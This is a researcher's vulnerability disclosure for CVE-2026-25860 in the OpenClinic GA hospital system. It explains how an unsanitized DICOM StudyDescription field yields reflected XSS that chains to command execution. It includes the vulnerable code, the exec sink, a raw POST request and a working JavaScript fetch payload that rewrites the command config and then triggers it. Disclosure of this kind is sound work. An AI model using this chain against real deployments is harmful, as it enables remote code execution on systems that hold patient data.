CVE-2026-25860 - OpenClinic GA Reflected XSS to RCE

I don't fear another Cross Site Scripting exploitation, i fear a chained one.


Executive Summary

CVE-2026-25860 is a reflected XSS vulnerability in OpenClinic GA’s DICOM upload workflow. A crafted DICOM file can inject JavaScript through metadata fields such as StudyDescription, which are rendered without output encoding. When triggered in the browser of an authenticated user, the XSS can be chained with OpenClinic GA configuration functionality to modify image-processing command settings and trigger command execution through storePicture.jsp.

Install & Recap & How to Reproduce

Once again, what is this product? What is openclini ga? "OpenClinic GA is an open source integrated hospital information management system covering management of administrative, financial, clinical, lab, x-ray, pharmacy, meals distribution and other data. Extensive statistical and reporting capabilities. OpenClinic GA and OpenClinic GMAO are owned by Frank Verbeke, MD, PhD at Post-Factum BV" Latest available release install-and-go is 5.247.01 but the available code is up to v5.351.19 (12/05/2026) at the moment of writing. Language and stack: - Language: java - DB: mysql - tomcat (jsp) - Tested on: Windows and Linux - Author: partywave - Collab: RaptX team Requisites: - The victim must be authenticated. - The victim must be able to access the DICOM upload feature and perform the action. The software is available at:
- https://sourceforge.net/projects/open-clinic/
If you want some fast help to install and setup the entire thing from source using docker you can use these tips:
# NOT PRODUCTION READY

# create docker db
docker network create openclinic-net 2>/dev/null || true

docker run -d \
  --name openclinic-db \
  --network openclinic-net \
  -e MARIADB_ROOT_PASSWORD=rootpass \
  -p 3306:3306 \
  mariadb:10.6 \
  --lower-case-table-names=1 \
  --character-set-server=utf8 \
  --collation-server=utf8_general_ci

# init the database using the DEMO db
zcat openclinic-demo-db.sql.gz | docker exec -i openclinic-db mysql -u root -prootpass --force

# setup docker db user and permission
docker exec -it openclinic-db mysql -u root -prootpass -e "
DROP USER IF EXISTS 'openclinic'@'localhost';
DROP USER IF EXISTS 'openclinic'@'127.0.0.1';
DROP USER IF EXISTS 'openclinic'@'%';

CREATE USER 'openclinic'@'localhost' IDENTIFIED BY '0pen';
CREATE USER 'openclinic'@'127.0.0.1' IDENTIFIED BY '0pen';
CREATE USER 'openclinic'@'%' IDENTIFIED BY '0pen';

GRANT ALL PRIVILEGES ON ocadmin_dbo.* TO 'openclinic'@'localhost';
GRANT ALL PRIVILEGES ON openclinic_dbo.* TO 'openclinic'@'localhost';
GRANT ALL PRIVILEGES ON ocstats_dbo.* TO 'openclinic'@'localhost';
GRANT ALL PRIVILEGES ON ikirezi.* TO 'openclinic'@'localhost';

GRANT ALL PRIVILEGES ON ocadmin_dbo.* TO 'openclinic'@'127.0.0.1';
GRANT ALL PRIVILEGES ON openclinic_dbo.* TO 'openclinic'@'127.0.0.1';
GRANT ALL PRIVILEGES ON ocstats_dbo.* TO 'openclinic'@'127.0.0.1';
GRANT ALL PRIVILEGES ON ikirezi.* TO 'openclinic'@'127.0.0.1';

GRANT ALL PRIVILEGES ON ocadmin_dbo.* TO 'openclinic'@'%';
GRANT ALL PRIVILEGES ON openclinic_dbo.* TO 'openclinic'@'%';
GRANT ALL PRIVILEGES ON ocstats_dbo.* TO 'openclinic'@'%';
GRANT ALL PRIVILEGES ON ikirezi.* TO 'openclinic'@'%';

FLUSH PRIVILEGES;
"

# start docker app
docker run -d \
  --name openclinic-web \
  --network openclinic-net \
  -p 8080:8080 \
  -v "$PWD/web:/usr/local/tomcat/webapps/openclinic" \
  -v "$PWD/web/WEB-INF/lib/mysql-connector-java-5.1.10-bin.jar:/usr/local/tomcat/lib/mysql-connector-java-5.1.10-bin.jar:ro" \
  tomcat:9.0-jdk8

# visit the app and login using openclinic:openclinic
curl -v --max-time 30 http://127.0.0.1:8080/openclinic/index.jsp
If you don't want all of these steps install it locally using the ready to run package. Even if it's not updated to the latest version

Vulnerability

OpenClinic GA <= v5.351.19 (12/05/2026) contains a reflected cross-site scripting vulnerability in the DICOM image upload handler that allows attackers to execute arbitrary JavaScript in a victim's browser by embedding malicious payloads in DICOM file metadata fields. Attackers can craft a DICOM file with JavaScript payloads in metadata fields such as Study Description, which are reflected without sanitization in popup.jsp and archiving/uploadfiles.java when processed through the Upload DICOM images feature. In the older version the filename was uploadfiles_jsp.java. The cause is how web/archiving/uploadfiles.jsp file handles .DICOM upload result. In particular it renders and shows some DICOM fields. They are reflected without further computation and sanitization leading to reflected XSS. The vulnerable code occurs (short version) where the DICOM Tag is handled. In particular StudyDescription is our POC field:
while (itr.hasNext()) {
    i++;
    FileItem item = (FileItem) itr.next();
    if (item.isFormField()) {
    } else {
        try {
            String fn = SCANDIR_BASE + "/from/" + filename + "_" + i;
            File savedFile = new File(fn);
            InputStream is = item.getInputStream();
            FileUtils.copyInputStreamToFile(is, savedFile);
            is.close();

            DicomObject obj = Dicom.getDicomObject(savedFile);
            if (obj == null) {
                errors.add(item.getName());
            } else {
                patients.add(obj.getString(Tag.PatientID));
                studies.add(obj.getString(Tag.StudyID) + "</td><td>" + obj.getString(Tag.StudyDescription).replaceAll("\\^", " "));
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
As you can see the field Tag.StudyDescription is reflected in a table without sanitization. This behavior leads to reflected XSS. You can see the POC below.

Image 15 from CVE-2026-25860 - OpenClinic GA Reflected XSS to RCE

Image 16 from CVE-2026-25860 - OpenClinic GA Reflected XSS to RCE
For further reference on how to modify/create a DICOM file and understand its standard i'll point to:
- https://github.com/partywavesec/CVE-2026-25860 - https://www.partywave.site/show/research/tic-tac-beware-of-your-scan

More in Depth

Recall how the endpoints work in the application:
# login endpoint
http://localhost:8080/openclinic/login.jsp?Title=OpenClinic&Dir=

# homepage endpoint
http://localhost:8080/openclinic/main.do

# current profile endpoint
http://localhost:8080/openclinic/main.do?Page=userprofile/index.jsp

# new patient endpoint
http://localhost:8080/openclinic/patientnew.do?PatientNew=true
The application uses the Struts framework and main.do page is just a pointer to the real jsp file and the correct view. In other words the application routes many requests through main.do, which dispatches to internal JSP views based on the Page parameter. I'll skip further explanation here about how the XML config file works, and how java web applications are built. I just give you and image as example.

Image 24 from CVE-2026-25860 - OpenClinic GA Reflected XSS to RCE
Because requests are routed through main.do, parameters intended for the underlying JSP cannot always be passed as if the JSP were requested directly. The Page parameter controls which internal page is loaded, so nested query strings need to be handled carefully. Consider the an example where we want to pass a GET parameter to local.jsp - we can't do the standard way. The query string it will be invalid or valid for main.do.
http://target.com/main.do?Page=folder/local.jsp?paramforlocal=example <-- pseudo URL example
At this point, the XSS primitive is confirmed. The next step is to identify whether the application exposes any authenticated functionality that can be abused to reach operating-system command execution. I'll skip the discovery part and i'll go straight to the point. OpenClinic GA exposes a configuration page where the readPictureApplication and readPictureDirectory parameters can influence the command executed by the image-handling workflow. However this page should be protected with privileged access, in fact this is not properly done. For this reason we need to target with our XSS an authenticated account and a POST request we can set our own value. This value it will be later used in another jsp file that must be invoked as the last step because it will execute our Command Execution. The sink for this execution is web/util/storePicture.jsp:
<%@ page import="be.mxs.common.util.system.Miscelaneous,be.mxs.common.util.db.MedwanQuery" %>
<%
    Miscelaneous.startApplication(MedwanQuery.getInstance().getConfigString("readPictureApplication","cmd /c d:/projects/openclinic/web/util/storePicture.bat")+" "+request.getParameter("personid"),
    MedwanQuery.getInstance().getConfigString("readPictureDirectory","d:/projects/openclinic/web/util"));
%>
Combined with src/be/mxs/common/util/system/Miscelaneous.java will lead to the execution.
29    public static void startApplication(String app,String dir){
30        try {
31            Runtime.getRuntime().exec(app,null,new File(dir));
32        }
33        catch (IOException e) {
34            e.printStackTrace();
35        }
36    }
The payload first sends a POST request to update the relevant configuration values and proceed with the execution by following the POST with a GET to /openclinic/main.do?Page=util/storePicture.jsp

Chain steps

Because the JavaScript executes in the victim’s authenticated OpenClinic session, it can issue same-origin requests to application endpoints using the victim’s cookies. Besides that we need to know how to setup our config values in an HTTP request. In the GUI setting values are available here:

Image 34 from CVE-2026-25860 - OpenClinic GA Reflected XSS to RCE
But in the request they are setup as:
POST /openclinic/main.do?Page=util/configparameters.jsp HTTP/1.1
Host: localhost:10088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 266
Origin: http://localhost:10088
DNT: 1
Connection: keep-alive
Referer: http://localhost:10088/openclinic/main.do?Page=util/configparameters.jsp
Cookie: JSESSIONID=AE6D6A762B31E21A560100F5849C2B9C
Upgrade-Insecure-Requests: 1
Priority: u=0, i

save=Save&par_readPictureApplication=[COMMAND]&par_readPictureDirectory=[FOLDER]

Image 37 from CVE-2026-25860 - OpenClinic GA Reflected XSS to RCE
Now the steps are clear: - 1) A crafted DICOM file injects JavaScript through unsanitized metadata. - 2) The JavaScript executes in the context of an authenticated OpenClinic GA user and updates image-processing configuration values. - 3) The payload then triggers the image-handling endpoint that consumes those configuration values, resulting in command execution. To achieve all of that my XSS final payload on Windows target was:
fetch('http://[TARGET]:[PORT]/openclinic/main.do?Page=util/configparameters.jsp', {
    method: 'POST',
    mode: 'no-cors',
    credentials: 'include',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: new URLSearchParams({
        save: "Save",
        par_readPictureDirectory: "[FOLDER]",
        par_readPictureApplication: "[COMMAND]" })
}).then( response => {
    fetch('http://[TARGET]:[PORT]/openclinic/main.do?Page=util/storePicture.jsp', {
            method: 'GET',
        mode: 'no-cors',
        credentials: 'include'
    });
});
And this will let you chain an XSS to another feature abuse to achieve RCE.